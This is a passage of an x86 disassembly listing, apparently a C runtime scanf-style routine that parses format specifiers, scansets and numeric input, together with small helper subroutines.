[esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] 